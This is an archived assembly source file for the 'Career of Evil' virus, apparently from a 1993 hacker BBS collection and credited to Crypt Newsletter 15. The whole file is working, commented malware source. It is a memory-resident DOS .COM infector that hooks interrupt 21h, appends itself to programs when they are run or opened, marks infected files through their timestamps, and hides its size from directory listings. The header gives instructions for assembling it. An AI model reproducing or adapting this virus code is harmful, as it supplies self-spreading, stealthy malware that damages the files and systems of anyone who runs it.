home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / vir-docs / crptlt15.arj / CAROEVIL.ASM < prev    next >
Assembly Source File  |  1993-05-23  |  9KB  |  324 lines

  1. ;CAREER OF EVIL virus:  a simple memory resident .COMinfector
  2. ;which infects on execution and file open.  CAREER OF EVIL also
  3. ;has limited stealth, subtracting its file size from infected files
  4. ;by diddling the file control block on "DIR" functions BEFORE the
  5. ;user sees the result onscreen.  The virus recognizes infected
  6. ;files by setting a peculiar time-stamp in the unreported seconds
  7. ;field.  Anti-virus measures are complicated when the virus is
  8. ;in memory by its ability to infect on file open.  Scanning or
  9. ;operating any utilities which open files for inspection will
  10. ;spread the virus to every file examined in this manner.
  11. ;For best results, assemble CAREER OF EVIL with the A86 assembler.
  12. ;CAREER OF EVIL: prepared by Urnst Kouch for CRYPT NEWSLETTER 15,
  13. ;MAY-JUNE 1993.
  14.  
  15.  
  16.        code  segment
  17.          assume  cs:code, ds:code, es:code, ss:nothing
  18.  
  19.          org     0100h
  20.  
  21.  
  22.  
  23. begin:         call    virus       ;
  24.  
  25. host           db   '═ RottenUK'   ; dummy place-holder where   
  26.                    ; virus stashes original 5-bytes
  27.                    ; from host file
  28. db             'Career of Evil',0
  29.  
  30.  
  31. virus:          pop     bp
  32.         push    bp
  33.         add     bp,0FEFDh
  34.  
  35.         mov     ax,0ABCDh    ; put 0ABCDh into ax
  36.         int     21h          ; for installation check
  37.                      ; (also critical in directory stealth)
  38.         jnb      failed      ; if virus is already there,
  39.                      ; will branch
  40.         cli                  ; to virus exit when in memory
  41.         mov     ax,3521h
  42.         int     21h                      ; get interrupt vector
  43.         mov     w [bp+offset oldint21],bx      ; es:bx points to
  44.         mov     w [bp+offset oldint21+2],es    ; interrupt handler
  45.  
  46.         mov     al,1Ch
  47.         int     21h
  48.  
  49.  
  50.         mov     si,ds
  51.         std
  52.         lodsb
  53.         cld
  54.         mov     ds,si
  55.  
  56.         xor     bx,bx
  57.         mov     cx,pargrph   ; virus size in paragraphs to allot-->cx
  58.         mov     ax,[bx+3]    ; an off hand way of doing things
  59.         sub     ax,cx   ;
  60.  
  61.         mov     [bx+3],ax
  62.         sub     [bx+12h],cx
  63.         mov     es,[bx+12h]
  64.  
  65.         push    cs
  66.         pop     ds
  67.  
  68.         mov     di,100h
  69.         mov     si,bp
  70.         add     si,di
  71.         mov     cx,size
  72.         rep     movsb   ; start copying virus into memory
  73.  
  74.         push    es
  75.         pop     ds
  76.         mov     ax,2521h
  77.         mov     dx,offset newint21  ; set int 21 route through virus
  78.         int     21h
  79.  
  80. failed:         push    cs
  81.         push    cs
  82.         pop     ds
  83.         pop     es
  84.  
  85.         pop     si
  86.         mov     di,100h
  87.         push    di
  88.         jmp     $ + 2
  89.         movsw
  90.         movsw
  91.         jmp     $ + 2
  92.         movsb
  93.  
  94.         mov     cx,0FFh
  95.         mov     si,100h
  96.         ret                 ; exit to host
  97.  
  98. newint21:       pushf
  99.         cmp     ah,11h    ; any "dir" user access of file control
  100.         je      stealth_entry   ; block must come through virus
  101.         cmp     ah,12h    ; next file directory handler
  102.         je      stealth_entry
  103.  
  104.         cmp     ax,0ABCDh  ; we need this so that when the virus
  105.         jne     not_virus_input ; is controlling things, on
  106.         popf                ; file infect it doesn't go
  107.         clc                 ; and subtract another length
  108.         retf    2           ; increment from the directory
  109.                     ; entries of infected files.
  110.                     ; although an amusing effect,
  111.                     ; reducing the filesize of all
  112.                     ; infected files as reported
  113.                     ; by DIR one virus length everytime
  114.                     ; the virus infects ANY file is
  115.                     ; counter-productive
  116. not_virus_input:
  117.         cmp     ax,4B00h    ; is a program being loaded?
  118.         je      check_infect ; try to infect
  119.         cmp     ah,3Dh      ; is a file being opened?
  120.         je      start_open_infect ; if so, get address
  121.         jne     not_4B00    ; exit if not
  122.  
  123. stealth_entry:
  124.  
  125.         popf
  126.         call    int21     ; look to virus "stealth"
  127.         pushf             ; routine
  128.         call    stealth_begin
  129.  
  130. cycle_dirstealth:
  131.         popf              ; remove word from the stack
  132.         iret              ; and return from interrupt
  133.                   ; to where we were before pulling
  134. stealth_begin:                    ; stealth trick
  135.         push    ax        ; the following essentially massages the
  136.         push    bx        ; file control block on directory scans,
  137.         push    dx        ; subtracting the virus size from infected
  138.         push    es        ; files before the user sees it
  139.                   ; stack setup saves everything
  140.         mov     ah,2Fh    ; get disk transfer address
  141.         call    int21     ;
  142.  
  143.         add     bx,8
  144.  
  145. normalize_direntry:
  146.  
  147.         mov     al,byte es:[bx+16h]  ; retrieve seconds data
  148.         and     al,1fh           ; from observed file, if it's
  149.         xor     al,1fh           ; 31, the file is infected
  150.         jnz     no_edit_entry    ; not 31 - file not infected
  151.         mov     ax,word es:[bx+1Ch]
  152.         mov     dx,word es:[bx+1Ch+2]
  153.         sub     ax,size       ; subtract virus length from
  154.         sbb     dx,0          ; infected file
  155.         jc      no_edit_entry   ; no files? exit
  156.         mov     word es:[bx+1Ch],ax
  157.         mov     word es:[bx+1Ch+2],dx
  158. no_edit_entry:                 ; restore everything as normal
  159.         pop     es         ;
  160.         pop     dx
  161.         pop     bx
  162.         pop     ax
  163.         ret
  164.  
  165. start_open_infect:
  166.  
  167.         mov word ptr cs:[fileseg],dx
  168.         mov word ptr cs:[fileseg+2h],ds  ; save segment:offset of
  169.                          ; file being opened so it
  170.                          ; can be infected, too
  171. check_infect:   push    ax          ; push everything onto stack
  172.         push    bx
  173.         push    cx
  174.         push    dx
  175.         push    ds
  176.         push    bp
  177.  
  178.         mov     ax,4300h     ; get file attributes of potential host
  179.         call    int21
  180.         jc      back1        ; failed? exit
  181.         mov     cs:old_attr,cx   ; put attributes here
  182.  
  183.  
  184.         mov     ax,4301h     ; set new file attributes, read or write
  185.         xor     cx,cx
  186.         call    int21        ; do it
  187.         jc      back1        ; error? exit
  188.  
  189.         push    dx
  190.         push    ds
  191.         call    infect       ; call infection subroutine
  192.         pop     ds
  193.         pop     dx
  194.  
  195.         mov     ax,4301h     ; same as above
  196.         db      0B9h         ; hand code mov CX,
  197. old_attr        dw      0
  198.         call    int21
  199.  
  200. back1:                               ; if the attrib-get fails
  201.         pop     bp           ; pop everything off stack
  202.         pop     ds
  203.         pop     dx
  204.         pop     cx
  205.         pop     bx
  206.         pop     ax
  207.  
  208.  
  209. not_4B00:
  210.  
  211. back:           popf
  212.         db 0EAh   ; <--------- return to virus exit to host
  213.  
  214. oldint21        dw 0,0
  215.  
  216. int21:          pushf
  217.         call    dword ptr cs:oldint21   ; <--interrupt handler
  218.         ret
  219.  
  220. infect:         mov     ax,3D02h    ; open host file with read/write access
  221.         call    int21
  222.         jnc     okay_open
  223.         ret                 ; was there an error? exit
  224.  
  225. okay_open:       xchg    bx,ax
  226.          mov     ax,5700h   ; get file date and file time
  227.          call    int21
  228.  
  229.          push    cx
  230.          mov     bp,sp
  231.          push    dx
  232.  
  233.          mov     al,cl       ; retrieve seconds data from file one                                        
  234.          or      cl,1fh      ; more time              
  235.          xor     al,cl       ; if it's 31 (1fh), we get a zero            
  236.          jz      close       ; and the file is already infected         
  237.          
  238.          mov     ah,3Fh   ; read first five bytes from potential host
  239.          mov     cx,5
  240.          mov     dx,offset host ; store them here
  241.          push    cs
  242.          pop     ds
  243.          call    int21
  244.          jc      close       ; error, exit?
  245.          cmp     al,5        ; get the five bytes?
  246.          jne     close       ; no, so exit
  247.  
  248.         cmp     word host[0],'ZM' ; check, is this an .EXE file?
  249.         je      close             ; yes, so no infection
  250.         cmp     host[0],0E9h      ; does it start with a jump?
  251.         je      infect_host       ; yes - infect.  Here's a
  252.                       ; subtle point. MUST look for 0e9h
  253.                       ; or file is not .EXE, not marked
  254.                       ; virus time-stamp, infection will
  255. close:                                    ; result in the virus adding itself
  256.                       ; to almost anything loaded or
  257.         pop     dx              ; opened which is not an .EXE or
  258.         pop     cx              ; .OVL.  The result would be a hang.
  259.         mov     ax,5701h         ; reset file date and time
  260.         call    int21
  261.         mov     ah,3Eh           ; close file
  262.         call    int21
  263.         ret                      ; exit
  264.  
  265. infect_host:    mov     ax,4202h         ; reset pointer to end of file
  266.         xor     cx,cx            ; a standard appending infection
  267.         xor     dx,dx            ; routine which is suitable
  268.         call    int21            ; for most resident .COM infecting
  269.                      ; viruses
  270.         or      dx,dx
  271.         jnz     close
  272.  
  273.  
  274.         dec     ax     
  275.         dec     ax     
  276.         dec     ax
  277.  
  278.         mov     word ptr putjmp[1],ax
  279.  
  280.         mov     ah,40h         ; write virus to the target file
  281.         mov     cx,size        ; length in cx
  282.         mov     dx,100h
  283.         call    int21
  284.         jc      close
  285.  
  286.         mov     ax,4200h      ; set file pointer to beginning of host
  287.         xor     cx,cx
  288.         xor     dx,dx
  289.         call    int21
  290.  
  291.         mov     ah,40h       ; write the first five bytes of the
  292.         mov     cx,5         ; viral jump and vanity string to the
  293.         mov     dx,offset putjmp ; beginning of the host file
  294.         call    int21
  295.  
  296.         or      byte ss:[bp],31 ; set the seconds field to 31, so the
  297.                     ; "stealth" routine has its cue
  298.         jmp     close           ; close the file and clean up
  299.  
  300.  
  301.  
  302.  
  303. putjmp          db 0E9h        ; <----- data, jump and vanity sig for
  304.         dw 0           ; virus to copy to beginning of host
  305.         db 'UK'
  306.  
  307.  
  308.  
  309. fileseg         dd      ?      ; <--- buffer for seg:off of files
  310.                    ; opened by user activated programs
  311.  
  312.  
  313. mark:                    ; <-----end of virus
  314.  
  315. size    equ $-100h       ;
  316. pargrph equ ($+16)/16    ; virus size in memory in 16-byte
  317.              ; paragraphs
  318.  
  319.  
  320.     code   ends
  321.            end   begin
  322.  
  323.  
  324.